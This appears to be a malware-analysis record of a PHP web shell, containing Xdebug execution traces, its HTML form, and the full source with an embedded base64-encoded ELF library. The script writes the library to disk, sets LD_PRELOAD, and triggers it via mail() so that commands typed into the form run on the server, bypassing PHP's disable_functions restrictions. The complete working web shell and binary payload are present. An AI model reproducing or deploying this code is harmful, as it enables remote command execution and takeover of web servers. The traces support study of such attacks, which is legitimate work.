2	4	0	0.000462	412424	file_get_contents	0		/var/www/html/uploads/evil.php	23	1	'jtt.so'
2	4	1	0.000510	412576
2	4	R			FALSE
2	5	0	0.000526	412536	base64_decode	0		/var/www/html/uploads/evil.php	24	1	'f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAgAYAAAAAAABAAAAAAAAAAAgZAAAAAAAAAAAAAEAAOAAHAEAAHQAaAAEAAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAxAgAAAAAAADECAAAAAAAAAAAIAAAAAAAAQAAAAYAAAAADgAAAAAAAAAOIAAAAAAAAA4gAAAAAABAAgAAAAAAAEgCAAAAAAAAAAAgAAAAAAACAAAABgAAABgOAAAAAAAAGA4gAAAAAAAYDiAAAAAAAMABAAAAAAAAwAEAAAAAAAAIAAAAAAAAAAQAAAAEAAAAyAEAAAAAAADIAQAAAAAAAMgBAAAAAAAAJAAAAAAAAAAkAAAAAAAAAAQAAAAAAAAAUOV0ZAQAAAAYCAAAAAAAABgIAAAAAAAAGAgAAAAAAAAkAAAAAAAAACQAAAAAAAAABAAAAAAAAABR5XRkBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
2	5	1	0.000590	424856
2	5	R			'ELF\002\001\001\000\000\000\000\000\000\000\000\000\003\000>\000\001\000\000\000�\006\000\000\000\000\000\000@\000\000\000\000\000\000\000\b\031\000\000\000\000\000\000\000\000\000\000@\0008\000\a\000@\000\035\000\032\000\001\000\000\000\005\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000�\b\000\000\000\000\000\000�\b\000\000\000\000\000\000\000\000 \000\000\000\000\000\001\000\000\000\006\000\000\000\000\016\000\000\000\000\000\000\000\016 \000\0'
2	6	0	0.001671	424824	file_put_contents	0		/var/www/html/uploads/evil.php	24	2	'jtt.so'	'ELF\002\001\001\000\000\000\000\000\000\000\000\000\003\000>\000\001\000\000\000�\006\000\000\000\000\000\000@\000\000\000\000\000\000\000\b\031\000\000\000\000\000\000\000\000\000\000@\0008\000\a\000@\000\035\000\032\000\001\000\000\000\005\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000�\b\000\000\000\000\000\000�\b\000\000\000\000\000\000\000\000 \000\000\000\000\000\001\000\000\000\006\000\000\000\000\016\000\000\000\000\000\000\000\016 \000\0'
2	6	1	0.002768	424896
2	6	R			8264
2	7	0	0.002783	412536	header	0		/var/www/html/uploads/evil.php	25	1	'location: ?'
2	7	1	0.002799	412624
2	7	R			NULL
1	3	1	0.002813	412592
			0.002837	326600
TRACE END   [2023-02-12 22:00:51.558858]

data/traces/d74339cf4bdebd646389808056f39acb_trace-1676246425.663.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 22:00:51.560810]
1	0	1	0.000116	393512
1	3	0	0.000230	412424	{main}	1		/var/www/html/uploads/evil.php	0	0
1		A						/var/www/html/uploads/evil.php	4	$hook = 'f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAgAYAAAAAAABAAAAAAAAAAAgZAAAAAAAAAAAAAEAAOAAHAEAAHQAaAAEAAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAxAgAAAAAAADECAAAAAAAAAAAIAAAAAAAAQAAAAYAAAAADgAAAAAAAAAOIAAAAAAAAA4gAAAAAABAAgAAAAAAAEgCAAAAAAAAAAAgAAAAAAACAAAABgAAABgOAAAAAAAAGA4gAAAAAAAYDiAAAAAAAMABAAAAAAAAwAEAAAAAAAAIAAAAAAAAAAQAAAAEAAAAyAEAAAAAAADIAQAAAAAAAMgBAAAAAAAAJAAAAAAAAAAkAAAAAAAAAAQAAAAAAAAAUOV0ZAQAAAAYCAAAAAAAABgIAAAAAAAAGAgAAAAAAAAkAAAAAAAAACQAAAAAAAAABAAAAAAAAABR5XRkBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
2	4	0	0.000290	412424	file_get_contents	0		/var/www/html/uploads/evil.php	23	1	'jtt.so'
2	4	1	0.000323	424864
2	4	R			'ELF\002\001\001\000\000\000\000\000\000\000\000\000\003\000>\000\001\000\000\000�\006\000\000\000\000\000\000@\000\000\000\000\000\000\000\b\031\000\000\000\000\000\000\000\000\000\000@\0008\000\a\000@\000\035\000\032\000\001\000\000\000\005\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000�\b\000\000\000\000\000\000�\b\000\000\000\000\000\000\000\000 \000\000\000\000\000\001\000\000\000\006\000\000\000\000\016\000\000\000\000\000\000\000\016 \000\0'
1	3	1	0.001410	412536
			0.001437	326544
TRACE END   [2023-02-12 22:00:51.562155]


Generated HTML code

<html><head></head><body><form method="POST" action=""><input type="text" name="evil" placeholder="uname -a"><input type="submit" name="Budalkan cok"></form></body></html>

Original PHP code

<?php
// Coded by ./Xi4u7
// Work Jika Function mail() Sama putenv() Ga Di Disable :*
$hook = "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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQBwAAAAAAABAHAAAAAAAAAAAAAAAAAAABAAAAAAAAAJwAAAAAAAAADAAAAAAAAAD4BQAAAAAAAA0AAAAAAAAA6AcAAAAAAAAZAAAAAAAAAAAOIAAAAAAAGwAAAAAAAAAIAAAAAAAAABoAAAAAAAAACA4gAAAAAAAcAAAAAAAAAAgAAAAAAAAA9f7/bwAAAADwAQAAAAAAAAUAAAAAAAAAyAMAAAAAAAAGAAAAAAAAADACAAAAAAAACgAAAAAAAADKAAAAAAAAAAsAAAAAAAAAGAAAAAAAAAADAAAAAAAAAAAQIAAAAAAAAgAAAAAAAABgAAAAAAAAABQAAAAAAAAABwAAAAAAAAAXAAAAAAAAAJgFAAAAAAAABwAAAAAAAADYBAAAAAAAAAgAAAAAAAAAwAAAAAAAAAAJAAAAAAAAABgAAAAAAAAA/v//bwAAAAC4BAAAAAAAAP///28AAAAAAQAAAAAAAADw//9vAAAAAJIEAAAAAAAA+f//bwAAAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgOIAAAAAAAAAAAAAAAAAAAAAAAAAAAADYGAAAAAAAARgYAAAAAAABWBgAAAAAAAGYGAAAAAAAAOBAgAAAAAABHQ0M6IChVYnVudHUgNS40LjAtNnVidW50dTF+MTYuMDQuMTEpIDUuNC4wIDIwMTYwNjA5AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAEAyAEAAAAAAAAAAAAAAAAAAAAAAAADAAIA8AEAAAAAAAAAAAAAAAAAAAAAAAADAAMAMAIAAAAAAAAAAAAAAAAAAAAAAAADAAQAyAMAAAAAAAAAAAAAAAAAAAAAAAADAAUAkgQAAAAAAAAAAAAAAAAAAAAAAAADAAYAuAQAAAAAAAAAAAAAAAAAAAAAAAADAAcA2AQAAAAAAAAAAAAAAAAAAAAAAAADAAgAmAUAAAAAAAAAAAAAAAAAAAAAAAADAAkA+AUAAAAAAAAAAAAAAAAAAAAAAAADAAoAIAYAAAAAAAAAAAAAAAAAAAAAAAADAAsAcAYAAAAAAAAAAAAAAAAAAAAAAAADAAwAgAYAAAAAAAAAAAAAAAAAAAAAAAADAA0A6AcAAAAAAAAAAAAAAAAAAAAAAAADAA4A8QcAAAAAAAAAAAAAAAAAAAAAAAADAA8AGAgAAAAAAAAAAAAAAAAAAAAAAAADABAAQAgAAAAAAAAAAAAAAAAAAAAAAAADABEAAA4gAAAAAAAAAAAAAAAAAAAAAAADABIACA4gAAAAAAAAAAAAAAAAAAAAAAADABMAEA4gAAAAAAAAAAAAAAAAAAAAAAADABQAGA4gAAAAAAAAAAAAAAAAAAAAAAADABUA2A8gAAAAAAAAAAAAAAAAAAAAAAADABYAABAgAAAAAAAAAAAAAAAAAAAAAAADABcAOBAgAAAAAAAAAAAAAAAAAAAAAAADABgAQBAgAAAAAAAAAAAAAAAAAAAAAAADABkAAAAAAAAAAAAAAAAAAAAAAAEAAAAEAPH/AAAAAAAAAAAAAAAAAAAAAAwAAAABABMAEA4gAAAAAAAAAAAAAAAAABkAAAACAAwAgAYAAAAAAAAAAAAAAAAAABsAAAACAAwAwAYAAAAAAAAAAAAAAAAAAC4AAAACAAwAEAcAAAAAAAAAAAAAAAAAAEQAAAABABgAQBAgAAAAAAABAAAAAAAAAFMAAAABABIACA4gAAAAAAAAAAAAAAAAAHoAAAACAAwAUAcAAAAAAAAAAAAAAAAAAIYAAAABABEAAA4gAAAAAAAAAAAAAAAAAKUAAAAEAPH/AAAAAAAAAAAAAAAAAAAAAAEAAAAEAPH/AAAAAAAAAAAAAAAAAAAAAKsAAAABABAAwAgAAAAAAAAAAAAAAAAAALkAAAABABMAEA4gAAAAAAAAAAAAAAAAAAAAAAAEAPH/AAAAAAAAAAAAAAAAAAAAAMUAAAABABcAOBAgAAAAAAAAAAAAAAAAANIAAAABABQAGA4gAAAAAAAAAAAAAAAAANsAAAAAAA8AGAgAAAAAAAAAAAAAAAAAAO4AAAABABcAQBAgAAAAAAAAAAAAAAAAAPoAAAABABYAABAgAAAAAAAAAAAAAAAAABABAAASAAAAAAAAAAAAAAAAAAAAAAAAACQBAAAgAAAAAAAAAAAAAAAAAAAAAAAAAEABAAAQABcAQBAgAAAAAAAAAAAAAAAAAEcBAAASAA0A6AcAAAAAAAAAAAAAAAAAAE0BAAASAAAAAAAAAAAAAAAAAAAAAAAAAGEBAAAgAAAAAAAAAAAAAAAAAAAAAAAAAHABAAASAAwAswcAAAAAAAA0AAAAAAAAAHgBAAASAAwAgAcAAAAAAAAzAAAAAAAAAIABAAAQABgASBAgAAAAAAAAAAAAAAAAAIUBAAAQABgAQBAgAAAAAAAAAAAAAAAAAJEBAAAgAAAAAAAAAAAAAAAAAAAAAAAAAKUBAAASAAAAAAAAAAAAAAAAAAAAAAAAALsBAAAgAAAAAAAAAAAAAAAAAAAAAAAAANUBAAAiAAAAAAAAAAAAAAAAAAAAAAAAAPEBAAASAAkA+AUAAAAAAAAAAAAAAAAAAABjcnRzdHVmZi5jAF9fSkNSX0xJU1RfXwBkZXJlZ2lzdGVyX3RtX2Nsb25lcwBfX2RvX2dsb2JhbF9kdG9yc19hdXgAY29tcGxldGVkLjc1OTQAX19kb19nbG9iYWxfZHRvcnNfYXV4X2ZpbmlfYXJyYXlfZW50cnkAZnJhbWVfZHVtbXkAX19mcmFtZV9kdW1teV9pbml0X2FycmF5X2VudHJ5AGp0dC5jAF9fRlJBTUVfRU5EX18AX19KQ1JfRU5EX18AX19kc29faGFuZGxlAF9EWU5BTUlDAF9fR05VX0VIX0ZSQU1FX0hEUgBfX1RNQ19FTkRfXwBfR0xPQkFMX09GRlNFVF9UQUJMRV8AZ2V0ZW52QEBHTElCQ18yLjIuNQBfSVRNX2RlcmVnaXN0ZXJUTUNsb25lVGFibGUAX2VkYXRhAF9maW5pAHN5c3RlbUBAR0xJQkNfMi4yLjUAX19nbW9uX3N0YXJ0X18AZ2V0ZXVpZABwYXlsb2FkAF9lbmQAX19ic3Nfc3RhcnQAX0p2X1JlZ2lzdGVyQ2xhc3NlcwB1bnNldGVudkBAR0xJQkNfMi4yLjUAX0lUTV9yZWdpc3RlclRNQ2xvbmVUYWJsZQBfX2N4YV9maW5hbGl6ZUBAR0xJQkNfMi4yLjUAX2luaXQAAC5zeW10YWIALnN0cnRhYgAuc2hzdHJ0YWIALm5vdGUuZ251LmJ1aWxkLWlkAC5nbnUuaGFzaAAuZHluc3ltAC5keW5zdHIALmdudS52ZXJzaW9uAC5nbnUudmVyc2lvbl9yAC5yZWxhLmR5bgAucmVsYS5wbHQALmluaXQALnBsdC5nb3QALnRleHQA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";
if(isset($_POST["evil"])) {
	$evil = $_POST["evil"];
	putenv("LD_PRELOAD=./jtt.so");
	putenv("EVIL_JTT=$evil > /tmp/jtt");
	echo "<br><pre>Disable_functions : ".ini_get("disable_functions")."</pre>";
	mail('lamonganblackhat7@gmail.com','','','');
	if(!file_get_contents("/tmp/jtt")) {
		echo "<br><br><hr><pre>";
		echo "Not Vulnerable x_x";
		echo "</pre><hr>";
	} else {
		$text = file_get_contents("/tmp/jtt");
		echo "<br><br><hr><pre>";
		echo $text;
		echo "</pre><hr>";
		unlink("/tmp/jtt");
	}
} else {
	if(!file_get_contents("jtt.so")) {
		file_put_contents("jtt.so", base64_decode($hook));
		header("location: ?");
	} else {
		echo "<form method='POST' action=''>";
		echo "<input type='text' name='evil' placeholder='uname -a'>";
		echo "<input type='submit' name='Budalkan cok'>";
	}
}
?>